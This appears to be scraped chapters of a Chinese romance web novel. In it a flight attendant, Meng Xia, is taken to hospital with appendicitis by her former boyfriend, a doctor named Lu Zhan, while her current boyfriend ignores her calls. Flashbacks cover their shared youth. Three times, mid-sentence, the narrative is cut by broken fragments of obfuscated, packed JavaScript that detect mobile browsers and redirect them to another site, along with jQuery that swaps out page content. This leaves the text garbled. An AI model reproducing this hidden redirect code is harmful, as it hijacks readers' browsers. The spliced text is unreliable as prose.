$(''.inform'').remove(); $(''#content'').append('' p> 祝炎枫接连好几天都没有主动联系孟夏,不管那天的“分手”是不是一时气话,两人倒是非常默契地,心照不宣地进入了冷战状态。 说到冷战,孟夏自认从来没输过。 但她内心深处,其实最讨厌这种冰冷的、相互折磨的沉默。 看见玄关处的东西,孟夏点开祝炎枫的微信,拍了张照片发过去,催他尽快来拿。 祝炎枫此时正和朋友聚会,手机放在桌上,他看到孟夏发来的照片,放大一看,里面是整齐打包的他的私人物品,瞬间脸色就变了。 旁边的朋友看到他的表情,又看到照片,开始打趣:“哟,吵架了?你这东西都打包好了,这是要把你扫地出门啊?” “平时不是总跟我们吹,说你那位空姐女朋友多漂亮多懂事吗?怎么今天又是自己一个人来?又没请出来?” 祝炎枫觉得很没面子,一气之下,直接把手机扔到一边,没理睬孟夏的信息。 晚上九点多,孟夏的肚子开始不对劲。 起初是肚脐周围传来一阵阵发紧的闷痛,并不算剧烈,她以为是晚上吃的速食不太新鲜,肠胃闹别扭,便起身喝了杯热水,重新躺回床上,想靠休息缓解。 但疼痛没缓下来,反而越来越清晰,像有一根粗糙的绳子在她右下腹慢慢绞紧,她蜷缩在床上,额头上冒出细密的冷汗。 孟夏摸到手机,指尖发凉,找到祝炎枫的电话拨了过去。 听筒里的每一声“嘟——”都拉得很长。 接电话啊....死男人。 电话另一头,酒吧里音乐喧嚣,祝炎枫正被赵晨搂着肩膀劝酒,气氛热烈。 看见桌上正嗡嗡震动着的手机,赵晨猫着脑袋多事的瞥了一眼,笑着用酒杯碰了碰他的胳膊:“快接啊,再不接小心人家真把你扫地出门。” 这句调侃像根小刺,扎中了祝炎枫憋了一下午的那股闷气。 “不管她。”他的声音有点硬,在朋友带着戏谑的注视下,那股赌气的劲头更冲了,“能有什么事。” 嗡嗡的震动声被闷在下面,持续不断地传来,不久后终于停止。 赵晨哈哈一笑,拍了拍他的肩:“这样才对!要我说,女人嘛,有时候就是不能太惯着,晾一晾就懂事了。” 孟夏听着冰冷的提示音,小腹的绞痛猛地加剧,本想拨打120,谁知剧烈的抽痛让她手腕一软,指尖无意中按了下去,电话拨出的界面亮起,她才看见上面的名字,刚想挂断。 “孟夏?” 孟夏已经疼得无法思考,听到熟悉的声音,破碎的呜咽和抽气声先于话语漏了出去。 “出什么事了?”陆瞻的声音很快变了,语速明显加快,“你在哪儿?” “我.....肚子.....好疼.....” “在哪?” “....家。” “别动,我马上到。” “电话别挂。” 停在孟夏小区路边的黑色路虎迅速启动,左转。 大约只过了七八分钟,电话那头传来清晰的刹车声,开车门声,快速而沉稳的脚步声,以及: “孟夏,开门。” 10. 第10章 凌晨三点五十,麻醉的药劲儿刚过,孟夏的眼皮颤动几下,缓缓睁开,伤口的疼痛,提醒着她刚刚挨了一刀的事实。 孟夏在心里默默扶额,长叹一口气,忍不住吐槽起自己这逆天的运气。 谁能想到是急性阑尾炎啊!这玩意儿不是电视剧里才爱演的吗?她活了二十多年,身体一向皮实,连感冒发烧都屈指可数。 今年可真是邪了门了,前脚刚查出来乳腺纤维瘤,还没等处理,后脚就又被急性阑尾炎撂倒,真是... 她正满心郁闷地腹诽着,护士走过来记录监护仪上的数据,见她醒了,露出温和的笑容,“醒了?别担心啊,手术很成功。” 一边记录,护士又随口说了一句:“外面的是你男朋友吧?我看刚才脸都急白了。” 听到这话,孟夏这才想起送自己来医院的那个人,她越想越纳闷,眉头都拧了起来。 她和陆瞻当年分手分的不算难看,但也绝对不是相安无事彼此祝福,当初是他提的分开,之后孟夏憋着一股气,和他断的干干净净,这三年里几乎零联系、零见面。 而且,他不是应该在几百公里外的晏城吗?怎么会那么快就出现在她家门口?就算他当时在江城,这个速度也快得有点离谱了。 “小张,六床情况稳定,可以转普通病房了,过来帮我搭把手。” “诶,这就来。” 还没等孟夏理清脑海里那些纷乱如麻的疑问,听见护士对话的她,脑子飞速转了一圈,当机立断,趁着两位护士调整转运床,背对着她的短暂间隙,飞快地重新闭上了眼睛。 孟夏放缓呼吸,让胸腔起伏变得平缓,尽量让自己看起来像是还没醒透,又陷入昏睡的模样。 “还没醒呢?”过来帮忙的小张问。 之前的护士凑近些,仔细观察了一下孟夏的脸色和呼吸,也有些不确定:“刚才明明醒了一下...可能是麻醉劲儿还没完全过去,又累着了,没事,咱们动作轻一点。” 孟夏屏住呼吸,耳边传来床轮滚动的声响,随即她又清晰地听见走廊里的脚步声,还有一道熟悉的说话声,和护士小声沟通着。 她抓着被子的指尖下意识蜷缩起来,又怕被人发现异样,赶紧放松。 转运床平稳地推进普通病房,护士跟家属叮嘱了几句注意事项后,带上房门退了出去。 病房暂时没有其他病人,房间很静,只剩下孟夏极力控制的呼吸声,她的心一下子提到了嗓子眼。 她能感觉到一道灼热的目光落在自己脸上,久久没有移开。 该不会是....看出来我在装睡了吧? 这个念头刚冒出来,孟夏心里一紧,赶紧屏气凝神,假装自己睡得更沉了些。 也许是麻醉的余劲儿真的还没完全褪去,装着装着,她竟真的睡着了。 意识彻底下沉,过往的片段不受控制地钻进孟夏梦里。 - 大概是从孟夏刚上小学一年级起,陆瞻开始频繁地出现在孟家饭桌上。 “顾阿姨不在了,以后你陆瞻哥哥会经常来家里吃饭。”林微澜交代孟夏,“你俩在一个学校,明天开始,放学就跟着陆瞻哥哥一起回家,路上不许乱跑,记住了吗?” 已经迈进小学校门的孩子,隐约明白“不在了”是什么意思,孟夏心里有些惋惜,也有点同情这个突然没了妈妈的哥哥,很乖地点了点头。 更何况,那时候的小孩子,谁不喜欢自己有个长的好看的哥哥呢? 每天放学,背着书包跟在陆瞻身后,慢悠悠地一起走回家,是孟夏一天中最神气、最骄傲的时刻。 班里的女生都偷偷羡慕她,课间总爱围过来,七嘴八舌地问: “孟夏,你哥哥每天都等你放学,他对你好好啊!” “要是我也有这样的哥哥就好了!” 每次听到这些,孟夏的小下巴就会抬得很高,心里的骄傲劲儿藏都藏不住,嘴上却还要故作矜持,“诶呀,还好啦,也没有你们说的这么好啦。” 这样的日子一直持续到孟夏上四年级,陆瞻顺利考上了林微澜和孟征所任教的晏城中学,这所学校初高一体,可以选择寄宿,自此,陆瞻只有周末和寒暑假才会到孟家吃饭,平时都住在学校。 也是在这一年,晏城中学调整了教职工子女的入学政策,不再享有直接入学的福利,必须和其他学生一样,凭考试成绩择优录取。 这项新规一出,林微澜和孟征开始正视起孟夏那不上不下的成绩,不再任由她浑水摸鱼,放任自流。 于是,之后大大小小的节日假期,孟夏彻底失去了自由支配的权利。 她的时间被两位老师安排得满满当当,各种辅导书、练习题成了假期的标配,贪玩好动的年纪被拘在家里,憋闷得不行,她只能绞尽脑汁,自寻“出路”。 六年级的那个暑假,不知怎么回事,教育局开始明令禁止假期补课行为,许多校外机构为避风头,都暂时停止了教学活动。 孟夏作为“受益人”,本以为终于能喘口气,谁知又被林微澜严格控制在家里。 一天中午,陆瞻照例来孟家吃饭。 饭后,林微澜对孟夏说:“你那几道数学题,不是总嫌我讲得太快,听不懂吗?正好你陆瞻哥在,让他给你讲讲。” 这时候的孟夏,已经不像小时候那样喜欢黏着陆瞻了,两人的亲近,随着他考上初中、住校、见面减少而慢慢淡化。 尤其是林微澜和孟征还总喜欢在她耳边念叨:“你看看陆瞻,门门功课优秀,从来不用家长操心!”“你要是有陆瞻一半自觉,我们也不用这么累!” 这种话听多了,孟夏心里或多或少对陆瞻生出了一些微妙的抗拒和别扭,以至于他每次来家里吃饭,她都不甚热情,常常垮着张小脸,爱答不理,哪里还有从前的半点影子。 听完林微澜的话,孟夏这次却一反常态,眼珠转了转,凑到母亲身边,“要不....我带着作业去陆瞻...哥哥家写吧?他肯定也有自己的作业要写,这样两不耽误。而且,下午不是还有几个学生要来家里找您辅导竞赛吗?我们都在,多吵啊,不方便。” 陆瞻家就在同一个小区,隔壁单元,出了门穿过两个小花坛,左转就到,近得很。 林微澜想了想,没有一口回绝,看了眼坐在沙发上的陆瞻,缓缓开口:“那行,去了之后听你陆瞻哥的话,好好完成作业,不许趁机耍懒偷玩。” 她又特意叮嘱陆瞻:“别惯着她,她脸皮厚,该管就管。” . 陆瞻家和孟夏家户型一样,孟夏轻车熟路地走进客厅,把书包往地上一放,整个人摊进柔软的沙发里,舒服地叹了口气。 陆瞻打开空调,又去冰箱看了眼,空空如也,没有孟夏爱喝的冰镇汽水,他倒了杯凉白开,在手机上下单了两杯奶茶,这才走过去。 他把水推过去,又将地上的书包放到茶几上,“哪道题不会?拿出来。” “哎呀不急,”孟夏懒洋洋地坐起身,“你手机能不能借我用用?好不容易出门了,我要约佳怡一起去看电影。” 陆瞻摇头:“先写作业。” “再不看就来不及了!”孟夏重新仰躺回沙发,马尾被她折腾得有些松散,几缕碎发洒在米色的抱枕上,“都上映一个月了,马上影院就要下映了!” “什么电影?” 孟夏报了个名字。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202997|197273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “先讲题,写完作业,在家看。”陆瞻说。 孟夏又倏的一下坐起来:“你家能看?” 陆瞻打开电视,调到会员专享区,那部电影果然赫赫在列。 很快,他又手臂一抬,避开了孟夏扑过来抢遥控的动作,面不改色:“先完成任务,把不会的题找出来。” 两个人就这么僵持对峙了一会儿,孟夏很快败下阵来,毕竟能在家里看电影也不错,要是在自己家,除了每晚和孟征一起看新闻联播和一集中央八台放的水浒传之外,以她目前的成绩,是没有电视自主权的。 孟夏认命地打开暑假作业,把之前空着,画了圈的题目一页页翻出来,撅着嘴,一脸不情愿。 看着旁边那杯白开水,又开始没事找事,“我不想喝白开水,我要喝冰饮料。” 陆瞻正垂眸认真看她摊开的作业本,闻言刚要说话,门铃适时地响了起来。 下单的奶茶店就在小区门口,送来的速度很快。 孟夏见状,眼睛瞬间亮起,迫不及待地打开包装袋,里面是两杯饮品,她拿起一杯,又看看另一杯,小脸上满是纠结。 怎么办?草莓芝士奶盖是她最喜欢的,可是那杯豆乳抹茶奶绿看起来也好好喝的样子!这要怎么选啊! 陆瞻许是看出了她的纠结,视线仍落在作业本上,手指点了点其中一道题:“两杯都是你的,这道题,你把解题步骤重新算一遍给我看看。” 那天下午,孟夏的学习效率出奇的高,也许是抱着“快点写完就能看电影”的急切心态,也可能是那两杯高糖分奶茶充分激发了她的多巴胺和学习斗志。 总之,她学得格外认真,认真到....写到后面,直接趴在茶几上,握着笔,睡着了。 “孟夏,醒醒,林老师打电话喊我们过去吃饭。” 嘴里似乎还残留着奶茶淡淡的甜腻,孟夏迷迷糊糊地掀开眼皮,鼻尖萦绕着淡淡的消毒水味。 “醒了?”陆瞻站在床边,伸手探了探她的额头,眉头舒展了些,“感觉怎么样?伤口疼不疼?” 孟夏张了张嘴,喉咙有些干涩,“还好。” 陆瞻将她的床头小幅度摇起,转身倒了杯水,试了试温度,递到她嘴边,“先喝点水,我刚去食堂要了碗米汤,一会儿去拿。” “哦。”她淡淡应声,接过水杯。 “刚在楼下临时请了个护工,等医生查完房她就过来,九点钟我有个会要参加,忙完再过来。” 原来是来江城开会的,孟夏心里逐渐了然,陆瞻会有她租住小区的地址并不奇怪,毕竟这两年,他和林微澜、孟征见面的次数,可比她这个亲闺女还要多。 但是....他昨晚怎么能那么快就赶到她家?从她打电话到他出现,前后不过十分钟。 陆瞻捕捉到她眉宇间疑惑凝思的模样,把她喝空的水杯接了过去,“这次开会住的酒店,离你不远,昨晚接到你电话的时候,我刚好....在附近。” “谢谢。”孟夏若有所思地点点头:“你要是有事就去忙吧,不用专门赶过来,我自己能行。” 听见她的道谢,陆瞻动作一顿,“自己能行?” 孟夏有点心虚,移开视线:“不是有护工吗......而且,我在江城也有朋友,可以帮忙。” “嗯,知道。”陆瞻斜睨她一眼,“你朋友,早上打过电话。” “啊?哪个朋友?” 话音未落,病房门口传来一道急促的声音。 “孟夏!” 站在床边的陆瞻神色未动,连眼皮都没抬一下,半躺着的孟夏循声望去,只见祝炎枫站在门口,胸口微微起伏,额发微乱,快步朝她走来。 11. 第11章 “你怎么来了?”孟夏眉头微蹙。 祝炎枫快步走到床边坐下,一把握住她的手腕,“怎么回事?怎么突然进医院了?严不严重?” 孟夏似笑非笑地看着他,未置一词。 一想到昨晚那几通故意未接的电话,祝炎枫有些心虚。 昨天那样,不过就是为了在朋友面前挣个面子,晚上回家后他后悔得肠子都青了。 “对不起....”他声音低了些,忍不住伸出手臂想要抱抱孟夏。 “别动。” 还没触碰到孟夏的身体,祝炎枫就被一个声音制止在原地。 站在病床另一侧的陆瞻不知什么时候戴上了眼镜,镜片后的目光落在祝炎枫悬空的手臂上,语气平淡地提醒:“她刚做完手术,你最好不要随便碰她。” 祝炎枫闻言,悬在半空的手立刻收了回去,这才真正注意到病房里的男人。 听见这个略感耳熟的声音,他很快反应过来。 今早为了求和,他特地买了早饭送到孟夏家门口,可敲了半天也不见有人,便拿出手机给她打了通电话。 前两通都无人接听,他以为是孟夏还在生气,故意不理他,直到第三通电话,在他准备放弃挂断的前一秒,听筒里终于传来了一道陌生男人的声音。 祝炎枫很快调整好表情,大方起身,真诚感激,伸出右手,“你好!我是夏夏的男朋友,祝炎枫。早上那通电话....是你接的吧?谢谢!” 陆瞻听见“男朋友”三个字短促地笑了声,瞥了眼病床上的人,举起手臂礼貌回握,却没顺着自我介绍。 孟夏看着两人交握的手,只觉得腹部的伤口莫名地抽疼了一下,连带太阳穴都开始突突地跳。 没收到对方身份信息的祝炎枫有些疑惑地又看向孟夏,孟夏抑制住想瞪陆瞻一眼的冲动,扯了扯唇角:“陆瞻,我....哥。” 久违的称呼,别说,还真是有些...烫嘴。 听见这个身份,祝炎枫眼睛明显亮了一下,恋爱这么久,他还是第一次见到孟夏的家人。 原本握着的手没有松开,反而另一只手也热情地覆了上去: “陆瞻哥。” - “什么?”坐在沙发上看电视的孟夏没听清林微澜的话,又问了一遍,“您刚说什么?我把电视音量调小点。” “我说,你要喊陆瞻哥。”林微澜沏了壶茶,在她旁边的单人沙发上坐下,“以前还懂点礼貌,现在怎么越大越回去了?总是直呼其名,没大没小,不像话。” 孟夏心里冷哧一声,以前那是因为不知道他的真面目,她嘴上敷衍着,“诶呀,喊名字显得亲昵,证明我们之间没有代沟。” “最后半年了,你再加把劲。”林微澜叹了口气,“不然我和你爸做了一辈子老师,到头来自家孩子连个像样的大学都考不上,说出去像什么样子。” 午饭前,陆瞻来了。 孟夏上回见他还是半年前的暑假,这人似乎清瘦了点,不过也没准是黑色羽绒服显瘦。 “外面冷吧?快把外套脱了,进屋喝点热水暖暖。”林微澜一边招呼他,一边转身进厨房端菜,“这几天正好,你帮夏夏看看她的化学,这孩子化学怎么补都不见起色,愁死人了。” “好。”陆瞻脱下外套挂好。 饭后,林微澜和孟征拎着早就准备好的礼品出去串门,孟夏对这种需要笑脸应酬的场合一向避之不及,想到过完年就要高考,林微澜这回倒也没强求她,只叮嘱她老老实实在家,听陆瞻哥哥的话,好好补习功课。 孟夏的卧室,陆瞻不是第一次进。 和她平时有些散漫的性子不同,她的房间一向被打理得干净整洁,尤其是那张书桌,虽然学习成绩一般,但各种五颜六色的文具、摞得整整齐齐的课本和辅导书,看得出主人花了不少心思。 陆瞻正在翻看她上学期的化学试卷,孟夏坐在一旁百无聊赖地按着新买的一支多色圆珠笔,咔哒咔哒,一下又一下。 “氧化还原反应考一次你错一次,今天,先讲这个。” 孟夏撑着脑袋看向窗外,外面开始飘起了雪花,“下雪了,也不知道地上能不能堆起来,还想堆雪人呢。” “能。”陆瞻头也没抬,“我来的时候,路面已经有积雪了。” “哦。”孟夏听见他的声音,刚提起的那点兴致又消散了些,继续有一搭没一搭地按着笔帽。 “以这道题为例,考的是还原性强弱的比较....” 孟夏偏过头,视线终于落在一本正经地陆瞻的身上,身体微微前倾凑近几分,打断他:“陆瞻。” 陆瞻好脾气地看向她。 “宁拆一座庙,不毁一桩婚的意思,你知道吗?” 他微微皱眉,“你的语文也需要补习?” “哼。”孟夏没好气地瞪了他一眼,“反正都怪你,你得补偿我。” 不然,我早就知道初吻和初恋是什么感觉了。 “嗯,补偿。”陆瞻没想和她计较,他只想尽快完成林微澜布置的任务。 晚上吃完饭,林微澜让孟夏送送陆瞻。 陆瞻回绝:“不用了老师,外面冷。” “让她送!”林微澜推了推磨蹭的孟夏,“一天没出门了,正好让她下去呼吸呼吸新鲜空气,换换脑子,没准回来做题能清醒点。” 孟夏内心无语,却拗不过母亲,只得慢吞吞地套上厚重的羽绒服,不情不愿地开了门。 楼道里比屋里冷了不少,下到一楼单元门口,外面的积雪已经很厚,踩上去发出“咯吱咯吱”的闷响,寒风裹挟着雪片直扑在脸上,孟夏缩了缩脖子,把羽绒服的领子拢紧了些。 花坛旁边有两个穿的美丽冻人的女生,正举着一台拍立得相机,嘻嘻哈哈地互相拍照。 孟夏不由自主地停下脚步,目光被吸引过去,脑海里却突然不合时宜地浮现出好友曾佳怡之前说过的话: “实在不行,你就让他补偿你呗......赔你一个初吻。” “他长得那么好,反正你横竖都不吃亏。” 孟夏下意识地瞥了一眼身旁的人,这人......什么时候长这么高了? 她自己上学期体检,净身高一米六八,加上脚上这双厚底棉拖,怎么也得有一米七多,可站在陆瞻旁边,却好像才刚超过他肩膀的位置。 “冷了?”陆瞻见她半天未动,“就送到这儿吧,你赶紧回去。” 雪似乎越下越大,孟夏抿了抿嘴,呼出一口白气,“你下午说要补偿我的话,算数吧?” “嗯。”陆瞻扭过头看向她,想到刚才她盯着那两个女生拍照的样子,心里了然,“想要拍立得?” 他以为孟夏所谓的补偿是物质,常年在孟家吃饭,他自然心怀感恩,每年过年都会给孟夏准备一份新年礼物,今年也不例外,他新购了一块女士机械手表打算和往常一样除夕那晚送出去。 暑假时,孟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202998|197273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏曾无意间抱怨过考场的时间总是不准,而孟征送她的那块二手手表款式太旧,她不愿意戴。 既然她现在想要拍立得,那明天抽空去商场一趟就是了,不是什么大事。 “不是。”孟夏靠近他两步,语气有些不自然,“我说的补偿不是这个。” “那是什么?” 雪花一片片落在陆瞻的头发上、肩膀上、睫毛上,孟夏扯了一下他的胳膊,“你过来点。” 陆瞻以为她怕自己听不清,顺从地微微俯身,又靠近了一些。 孟夏脸颊微微发烫,心跳也开始不受控制地加速,看着他近在咫尺的脸庞和他眼底倒映出的漫天飞雪,她忽然鼓起勇气,抬起下巴,吻上陆瞻的唇。 世界静止。 一秒,两秒。 原来....男生的嘴唇,也这么软的吗? 这就是接吻的感觉? 孟夏觉得自己像被轻柔的电流击中,从唇齿蔓延到四肢,酥麻不已。 除夕那天晚上,陆瞻没有像往年一样出现在孟家的年夜饭桌上,孟夏若无其事地问:“妈,你没喊那个谁吗?” “哪个谁?怎么越来越没礼貌了?”林微澜放下手里的汤碗,不悦地瞪了她一眼,“陆瞻去他外婆家过年了,一大早就过来打过招呼了。” 说完,扬了扬下巴,示意茶几的方向:“喏,给你带的新年礼物,放那儿了。” 陆瞻的外婆家不在晏城,在距离晏城一百多公里的宜城。 孟夏“哦”了一声,起身去拿那个包装精致的礼盒,一边拆一边嘀咕:“怎么今年突然去那边了?年夜饭不是一直和我们一起吃的嘛......” 盒子里是一款设计简约时尚的女士腕表,表盘精致,她迫不及待地戴在手腕上试了试,大小正合适。 眼光还挺好。 “我还想问你呢,”林微澜摆好碗筷,看向她,“是不是你惹人不高兴了?陆瞻拿了两本他高三时的复习笔记过来,说他今年寒假在那边过,没法继续辅导你的化学了,让你有不懂的问题可以给他发消息,他看到会回复。” 孟夏哼了声,有些心虚,但仍旧否认:“我惹陆瞻?我能怎么惹他不高兴...” “还一口一个‘陆瞻’‘陆瞻’,说了多少次了,就是不改。” 改什么改,之前是不想喊。 现在是…喊不出口。 孟夏撇撇嘴,放下手表,拿出手机,点开那个沉在底部的黑色头像,犹豫一下,发了一条消息过去: [怎么没来吃饭?] 大约等了十分钟,石沉大海,毫无回音。 耐心告罄,孟夏又点开聊天框,指尖在屏幕上敲敲打打:[生气了?是你答应的给我补偿。] 还是没有回音。 整个晚饭期间,孟夏每隔几分钟就看一眼手机,连孟征都看不下去了,皱着眉训斥:“吃饭就好好吃饭!总看手机,像什么样子!” 直到春晚的倒计时结束,她也没收到陆瞻的任何回复。 至于吗?孟夏心里有点不是滋味,想到林微澜饭前说的话,她灵机一动,跑到卧室书桌前,翻出自己的化学作业,又编辑一条信息: [......这道化学题我有点不太明白,特别是那个离子方程式怎么配平,还有第三问的计算,你能帮我看一下吗?] 发送。 前后不过两三分钟,“叮”的一声,手机屏幕亮起,一条新消息跳了出来。 12. 第12章 医生查房完不久,陆瞻便先行离开了。 祝炎枫正想问孟夏是不是饿了,准备去医院外面买她最喜欢的生煎包,病房门被轻轻推开,一位面相朴实的护工端着碗热气腾腾的米汤走了进来。 “孟小姐醒着呢?”护工笑容温和,“我姓王,陆先生嘱咐了,您术后第一天,得先喝点清淡的米汤。” “谢谢王姨,叫我小孟就好。” 服务行业做久了,被服务起来还有点不适应,孟夏接过她手里的碗勺,强行要自己来。 一旁被忽视的祝炎枫想趁机表现一把,也被她驳了回去。 眼下孟夏需要静卧,没什么需要特别打理的地方,王姨也不多话,安静地退到病房角落的椅子上坐下。 祝炎枫想和孟夏亲昵一些,表表歉意求得原谅,无奈病房里第三个人纵使一言不发存在感也极强,他想了想,转身朝王姨摆摆手,“要不您出去溜达溜达,这里我看着,有事再喊您。” 王姨没有依言起身,微微调整了下坐姿,“不用,医院我熟的就跟自己家一样,没什么好溜达的,陆先生特意交代过,不能离开小孟半步,我就坐这儿候着,你们就当我不存在,该说啥说啥,啊。” 孟夏喝完米汤,将碗递给王姨道了谢,抬眼看向祝炎枫,“你是来找我拿你东西的?” 祝炎枫打量着她的神色,见孟夏不像开玩笑,“我都跟你道歉了,昨晚真不是故意不接你电话,赵晨请客,灌我酒来着。” 孟夏发现他们两个人的交流不在一个频道,说:“房子就快退租了,我总不能把你的物品也打包带回家吧。” 沉默片刻,祝炎枫松了一口气,“我还以为你这是要把我扫地出门,跟我断绝关系的意思。” 孟夏不理解,“没记错的话,分手好像是你提的。” 祝炎枫再次握住她的手腕,没敢使劲,“我那是一时气话,谁会把吵架时说的话当真?” - 这次的学术交流会有些规模,结合人工智能的发展,各个科室都有所获益,晏城一医的抽签结果靠前,不到十一点陆瞻就下台结束了汇报。 剩下几天就是大大小小的专题讲座和到江城人民医院实地参观。 章学之以前是晏大医学院的院长,也是陆瞻之前的硕导,前年职业调动到江城人民医院任副院长。 会后,他笑着朝陆瞻走过来,“小陆,刚才的汇报不错,观点新颖,逻辑清晰,现在在一医呆着怎么样?老章平日没为难你吧?” 章学之和章军怀是表兄弟,陆瞻到一医聘主治的时候章学之特意和自己弟弟打过招呼多照顾照顾。 “章老师,”陆瞻看见导师,主动颔首致意,“在一医都挺好的,跟着章主任受益良多。” “有没有考虑,来江城这样更大的平台发展发展?” 陆瞻一直被章学之当做得意门生,这两年他到江城发展之后,看到了更多的前景。 陆瞻淡笑:“暂时没有。” “晏城虽然也不错,但江城毕竟是中心城市,医疗资源、上升通道,方方面面都更具优势,你资质好专业过硬,眼光可以放长远些嘛。” “您说的对,”陆瞻抬腕看了眼时间,“只是我个人比较恋家,不想离的太远。” 十二点四十,不知道孟夏吃饭没有,不过叮嘱过王姨,应该问题不大。 何况,她还有朋友。 陆瞻心里那点想去医院的念头被生生按了下去,做“哥哥”的,总该有点眼力见,这种时候跑到人家病床前刷存在感,没必要。 学术交流会不仅仅是学术交流,还有人脉社交资源互置,那边已经有人再喊章学之的名字。 陆瞻屈指扶了扶鼻梁上的眼镜,没有过多耽误老师时间,又与章学之客气寒暄了两句,礼貌告辞。 下午四点五十,在酒店补了一觉,陆瞻驱车前往江城人民医院,停好车,他先进了隔壁一家面馆。 “老板,一碗汤面带走,多汤少面,麻烦煮久一点,最好能入口即化,不要葱。” “得嘞。”老板利落地应下,转身进了后厨。 开在医院旁边的餐馆,早已习惯了顾客各种各样细致甚至苛刻的要求,毕竟来这里点餐的,多半不是自己吃就是带给病患,特殊时期特殊对待,能理解。 面很快就好,陆瞻付了钱,端着汤碗往医院走。 走到病房门口,透过门上的玻璃窗,他能看到里面的情形。 孟夏半靠在摇起的病床上,祝炎枫紧挨着床边坐下,两人离得很近,正凑在一起看同一个手机屏幕,男人看着看着,忽然很自然地侧过头,旁若无人般在孟夏脸颊啄了一下。 陆瞻的脚步停住。 他站在门外,迟迟没有推门。 “陆先生?”房门忽从里面被拉开,正要出去买晚饭的王姨看见门外站着的人,愣了一下,随即脸上堆起笑容,“您来了,小孟刚睡醒没多久。” 看见陆瞻手上的东西,她又道:“可真巧,我正打算去给小孟买饭呢。” 门口的动静引起了里面两人的注意,孟夏侧过头,视线越过王姨,落在陆瞻身上。 坐在床边的祝炎枫立即起身,他潜意识把陆瞻这位哥哥当做家长对待,忙打招呼:“陆瞻哥。” 又很有眼色的上前一步,率先接过汤碗。 陆瞻面上挂着一抹不温不热的笑意,“辛苦。” “应该的,应该的。”祝炎枫打算将好感刷到底,忽视了对方语气中的疏离,“您快坐,我给您倒杯水。” 俨然一副自己是主人的模样。 孟夏看着这两个男人站在一起的画面,只觉得伤口刚缓解些的疼痛又隐隐有发作的趋势。 她低声请王姨扶她去趟卫生间,回来时,站在病房门外磨蹭片刻。 “小孟,陆先生是你哥哥?”王姨在医院做护工有些年头了,做事勤快,脾气好,口碑不错,唯一的小毛病就是好奇心有点重,爱聊点家长里短,但并没什么恶意。 孟夏抿了抿嘴,含糊地“唔”了一声。 王姨“啧”了一下,“那你们是一个像爸,一个像妈?”她看看门里的陆瞻,又看看身边的孟夏,虽然两人容貌都相当出色,但无论怎么看,眉眼气质,都不太像有血缘关系的样子。 孟夏此刻的注意力全在病房内那两个气氛微妙的人身上,她深吸一口气,搭在门把上的手微微用力。 “咱们进去吧。” - 面汤味道不错,下午医生查房时,孟夏已经顺利排气,可以开始少量进食流质或半流质食物。 她工作后作息常年不规律,饮食有一顿没一顿,对美食的欲望早就不如从前旺盛,吃了三两口,便放下碗,摇头说饱了,不肯再吃。 坐在距离病床半米处长椅上的陆瞻见状,蹙了蹙眉,“你这才吃了几口?知道你术后肠胃胀、没胃口,但也不能一点不勉强,再吃两口,不然后续体力跟不上,下床走动都费劲。” 旁边的祝炎枫本来见孟夏放下碗,下意识想说“吃不下就别勉强了”,可听到陆瞻的话,再看看对方脸上严肃的神色,他把到嘴边的话又咽了回去,转而对孟夏柔声道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202999|197273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆瞻哥说得对,你就再吃两口吧。” 陆瞻早已做好了被她反驳甚至直接拒绝的准备,没想到,孟夏那双乌黑的眼珠转了转,竟然什么也没说,顺从地重新端起了碗,小口小口地又吃了起来,十足一副“听话妹妹”的模样。 下午,祝炎枫收到一条微信,是乔彤发来的。 她说康逸生日宴也邀请了他们一家,她选了两份礼物拿不定主意,想让祝炎枫帮忙参考一下,给点意见。 祝炎枫莫名心烦,康逸明明跟他交代这次生日只有家中相熟的亲戚庆祝,现在把乔家也请上,用意再明显不过。 祝、乔两家是多年世交,关系很近,他不是不知道双方父母一直有意撮合他和乔彤。 只是乔彤,实在不是他喜欢的类型,当初在国外留学,他尝试过和对方相处,无奈完全擦不出火花,最后只能作罢。 碍于两家多年的情谊和生意上的往来,他没办法把话说得太绝,总要顾及长辈的颜面。 最重要的是,康逸的话他也不能完全不听,自己公司最大的股东,毕竟是冲她的面子拉来的。 王姨将孟夏用完的餐食垃圾拿到外面处理,陆瞻低头用手机回复工作信息,祝炎枫思忖良久,视线挪回孟夏身上,斟酌开口:“后天....我妈生日,你跟我一起去,好不好?” 下午医生查房时他特意问过,腹腔镜属于微创手术,孟夏恢复情况良好,顺利的话后天就能出院,到时候晚上和他一起出席,露个脸就行。 怎么又绕回到这个话题了?孟夏眉头立刻蹙了起来,语气也淡了下去,“是你失忆了,还是我?” “你让我去,是给你妈庆生,还是去给她添堵?” “乔彤也会去,”祝炎枫佯装不经意地提起,“乔阿姨一家也被邀请了。” 他的想法很简单,趁着大家都在场,把孟夏带过去,不用多说什么,就能向所有人表明自己的态度和选择。 